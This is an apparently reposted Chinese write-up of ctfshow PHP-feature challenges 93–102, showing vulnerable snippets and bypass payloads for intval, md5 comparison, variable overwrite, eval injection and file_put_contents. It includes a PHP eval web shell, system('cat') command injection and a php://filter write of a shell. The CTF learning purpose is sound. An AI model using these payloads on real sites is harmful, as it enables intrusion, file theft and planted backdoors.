php特性刷题

news2024/9/20 7:48:31

93

上面注释的是一些配置信息

然后包含flag.php页面

高亮显示

如果,先判断是否存在GET传参的参数num,如果弱比较等于4476,就会输出“no non no !”

如果包含字母那么就错误(包含大小写)

判断变量 $num 是否等于 4476,如果是,则输出变量 $flag 的值;否则,输出变量 $num 转换为整数后的值。

需要num的值等于4476,但又弱比较不可以,就是说可以转换进制,数值相同就行,因为不能用英文,所以16进制和32进制都不行,这是它的2,4,8进制

1000101111100

1011330

10574

可以看到intval函数的语法,要在前面加上0x或0

尝试传参?num=010574

94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){ // 在这个地方需要返回的值不能为0,也就是说0不能在第一位
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

所以?num=4476.0

95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){// 点匹配没了
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

利用八进制开头加号代替空格绕过?num=+010574

96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

payload

./flag.php
/var/www/html/flag.php
php://filter/resource=flag.php

 97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5弱类型比较可以直接数组绕过,其结果都会转换为null

a[]=1&b[]=2

 

如果进行了string强制转类型后,则不再接受数组

弱碰撞:

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708

强碰撞:

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

98

<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>
 

既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了

99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

array_push() 函数:向数组尾部插入一个或多个元素

rand() 函数随机生成数组rand(min,max)

file_put_contents() 函数:写入函数

payload:

?n=5.php
content=<?php @eval($_POST['hack']);?>
content=<?php system('cat flag36d.php');?>

100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }    
}
?>

php中OR与|| AND与&&的区别总结

因为赋值的优先级(=)高于and所以 v 0 的 值 可 以 由 v0的值可以由 v0的值可以由v1来控制,所以我们需要给其赋值为1也就是true

因为flag在类ctfshow中,所以可以直接命令执行

?v1=1&v2=var_dump($ctfshow)&v3=;
v1=1&v2=system("cat ctfshow.php")/*&v3=*/;

101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

这里牵扯到的是一个反射类的问题

php反射类 ReflectionClass使用例子

PHP的反射类ReflectionClass、ReflectionMethod使用实例

反射在 PHP 中的应用

看了半天,大概知道了

反射类可以说成是类的一个映射,可以利用反射类来代替有关类的应用的任何语句

其属性为类的一个名称,这道题目里面类的名称为ctfshow

payload:?v1=1&v2=echo new ReflectionClass&v3=;

举个例子

<?php
class hacker{
    public $hackername = "yn8rt";
    const  yn8rt='nb666';
    public  function show(){
    echo $this->name,'<br>';
    }
}
//有这么一个hacker类,假设我们不知道这个类是干什么用的,我们需要知道类里面的信息,这时候就需要用到ReflectionClass来对类进行反射
//现在我可以通过反射来获取这个类中的方法,属性,常量

//通过反射获取类的信息

$reflection = new ReflectionClass('hacker');//实例化反射对象,映射hacker类的信息
$consts = $reflection->getConstants();//获取所有常量
$props = $reflection->getProperties();//获取所有属性
$methods = $reflection->getMethods();//获取所有方法
var_dump($consts);
var_dump($props);
var_dump($methods);
?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21

返回值

array(1) {
  ["yn8rt"]=>
  string(5) "nb666"
}
array(1) {
  [0]=>
  &object(ReflectionProperty)#2 (2) {
    ["name"]=>
    string(10) "hackername"
    ["class"]=>
    string(6) "hacker"
  }
}
array(1) {
  [0]=>
  &object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(4) "show"
    ["class"]=>
    string(6) "hacker"
  }
}

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22

如果没有指定方法的话,就会像题目中默认输出很多东西:

1.常量 Contants
2.属性 Property Names
3.方法 Method Names静态
4.属性 Static Properties
5.命名空间 Namespace
6.Person类是否为final或者abstract
7.Person类是否有某个方法

102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);// 这里的意思是从第二位开始截取
    $str = call_user_func($v1,$s);// 回调函数,第一个参数为调用的函数,其余的为调用参数的值
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

利用base64,同时配合伪协议去写入,但是需要保证通过is_number函数的判断,可以有字母啊,但是必得是e啊,也就是科学计数法啊,来自同一家的payload啊:

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post:v1=hex2bin

然后访问1.php去触发就可以了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2095720.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络工程9(软路由,旁路由)

一. 软路由 设置软路由&#xff0c;可以将软路由设置为主路由&#xff0c;主路由设置为交换机和无线AP。从而实现网络中的所有设备的消息都能经过软路由的处理后进行上网(比如进行科学上网)。 视频链接 二. 旁路由(作为内网设备&#xff0c;主路由是外网设备) 视频链接 主路…

SpringSecurity Oauth2 - 密码认证获取访问令牌源码分析

文章目录 1. 授权服务器过滤器1. 常用的过滤器2. 工作原理 2. 密码模式获取访问令牌1. 工作流程2. 用户凭证验证1. ResourceOwnerPasswordTokenGranter2. ProviderManager3. CustomAuthProvider4. 认证后的结果 1. 授权服务器过滤器 在Spring Security中&#xff0c;OAuth2授权…

ComfyUI上手使用记录

文章目录 资料安装基础概念常用的工具和插件放大图像从裁剪到重绘SDXL工作流搭建Clip的多种不同的应用Lcm-Turbo极速出图集成节点 资料 AI绘画之ComfyUI Stable Diffusion WEUI中的SDV1.5与SDXL模型结构Config对比 stable-diffusion-webui中stability的sdv1.5和sdxl模型结构c…

SPI驱动学习三(spidev的使用)

目录 一、 spidev驱动程序分析1. 驱动框架2. 驱动程序分析 二、SPI应用程序分析1. 使用方法2. 代码分析2.1 显示设备属性2.2 读数据2.3 先写再读2.4 同时读写 3. SPI应用编程详解4. spidev的缺点 一、 spidev驱动程序分析 参考资料&#xff1a; * 内核驱动&#xff1a;drivers…

足球大小球预测及足球大数据之机器学习预测大小球

足球运动是当今世界上开展最广、影响最大、最具魅力、拥有球迷数最多的体育项目之一&#xff0c;尤其是欧洲足球&#xff0c;每年赛事除了五大联赛&#xff08;英超、西甲、德甲、法甲、意甲&#xff09;之外&#xff0c;还会有欧冠&#xff08;欧洲冠军联赛&#xff09;&#…

Docker容器详细介绍

1.docker简介 1.1什么是Docker Docker是管理容器的引擎&#xff0c;为应用打包、部署平台&#xff0c;而非单纯的虚拟化技术 它具有以下几个重要特点和优势&#xff1a; 1. 轻量级虚拟化 Docker 容器相较于传统的虚拟机更加轻量和高效&#xff0c;能够快速启动和停止&#…

day-46 旋转图像

思路 不能使用辅助数组&#xff0c;所以关键在于弄清楚旋转后坐标的变化规律。当矩阵的大小n为偶数时&#xff0c;以n/2行和n/2列的元素为起点&#xff0c;当矩阵的大小n为奇数时&#xff0c;以n/2行和&#xff08;n1&#xff09;/2列的元素为起点 解题过程 关键&#xff1a;旋…

【python计算机视觉编程——照相机模型与增强现实】

python计算机视觉编程——照相机模型与增强现实 4.照相机模型与增强现实4.1 真空照相机模型4.1.1 照相机矩阵4.1.2 三维点的投影4.1.3 照相机矩阵的分解4.1.4 计算照相机中心 4.2 照相机标定4.3 以平面和标记物进行姿态估计sift.pyhomography.py主函数homography.pycamera.py主…

二分查找 | 二分模板 | 二分题目解析

1.二分查找 二分查找的一个前提就是要保证数组是有序的&#xff08;不准确&#xff09;&#xff01;利用二段性&#xff01; 1.朴素二分模板 朴素二分法的查找中间的值和目标值比较&#xff08;不能找范围&#xff09; while(left < right) // 注意是要&#xff1a; < …

华为云征文|基于Flexus云服务器X实例的应用场景-私有化部署自己的笔记平台

&#x1f534;大家好&#xff0c;我是雄雄&#xff0c;欢迎关注微信公众号&#xff1a;雄雄的小课堂 先看这里 写在前面效果图华为云Flexus X实例云服务器Blossom 私有化笔记平台简介准备工作创建yaml文件执行yaml文件使用blossom 写在前面 我发现了个事儿&#xff0c;好多技术…

百望云携手春秋航空 迈入航空出行数电票新时代

在数字经济的大潮中&#xff0c;每一个行业的转型与升级都显得尤为关键&#xff0c;而航空业作为连接世界的桥梁&#xff0c;其数字化转型的步伐更是备受瞩目。随着百望云与春秋航空携手迈入航空出行数电票新时代&#xff0c;我们不仅见证了传统纸质票据向数字化转型的必然趋势…

Elastic Stack--ELFK实例与Dashboard界面

前言&#xff1a;本博客仅作记录学习使用&#xff0c;部分图片出自网络&#xff0c;如有侵犯您的权益&#xff0c;请联系删除 学习B站博主教程笔记&#xff1a; 最新版适合自学的ElasticStack全套视频&#xff08;Elk零基础入门到精通教程&#xff09;Linux运维必备—Elastic…

逆向工程核心原理 Chapter22 | 恶意键盘记录器

教程这一章没给具体的实现&#xff0c;这里在Chapter21学习的基础上&#xff0c;试着实现一个键盘记录器。 键盘记录器实现 这里有个技术问题&#xff1a;记录下的敲击键&#xff08;在KeyHook.dll中捕获的&#xff09;&#xff08;可以用wParam&#xff09;怎么打印出来&…

二叉树和堆知识点

1 特殊二叉树 1. 满二叉树&#xff1a;一个二叉树&#xff0c;如果每一个层的结点数都达到最大值&#xff0c;则这个二叉树就是满二叉树。也就是 说&#xff0c;如果一个二叉树的层数为K&#xff0c;且结点总数是 &#xff0c;则它就是满二叉树。 2. 完全二叉树&#xff1a;完全…

前端打包部署,Nginx服务器启动

前端vue打包部署 前端vue打包部署&#xff0c;执行NPM脚本下的build vue-cli-service... 生成dist文件夹 Nginx服务器 将刚刚的静态资源部署到Nginx

小白学装修(准备阶段)

装修还是 实事求是 脚踏实地 多用心 多学习 视频&#xff1a; 你离摆脱装修小白身份&#xff0c;只差这一个视频&#xff01;_哔哩哔哩_bilibili 本篇文章所涉及到的文件&#xff08;记得给诡计从不拖更一件三联&#xff09; 给诡计投币换的装修预算表资源-CSDN文库 住户…

【Python报错已解决】“ValueError: If using all scalar values, you must pass an index“

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 文章目录 引言&#xff1a;一、问题描述1.1 报错示例&#xff1a;以下是一个可能引发上述错误的代码示例。1.2 报错分析&#x…

Docker 镜像构建

1、Docker 镜像结构 Docker镜像的结构是分层的&#xff0c;这种结构是Docker镜像轻量化和高效性的关键。每个Docker镜像都由一系列的“镜像层”&#xff08;image layers&#xff09;组成&#xff0c;这些层通过UnionFS&#xff08;联合文件系统&#xff09;技术叠加在一起&am…

磐石云语音识别引擎

磐石云发布了V1.2.2版本语音识别引擎。 经过严格客观的测试识别效果和阿里云、讯飞、火山进行了对比几乎无差。&#xff08;欢迎对比测试&#xff09; 上图是CPU下的流式识别效果 RTF0.1~0.14,也就是一并发一个小时大约处理7~10小时&#xff0c;这取决于硬件的配置&#xff0…

基于SpringBoot的教务与课程管理系统

&#x1f4a5;&#x1f4a5;源码和论文下载&#x1f4a5;&#x1f4a5;&#xff1a;基于SpringBoot的教务与课程管理系统源码论文报告数据库.rar 1. 系统介绍 随着计算机科学技术的迅猛进步及高等教育体系改革的持续深化&#xff0c;传统的教育管理方式、工具及其操作效率已经难…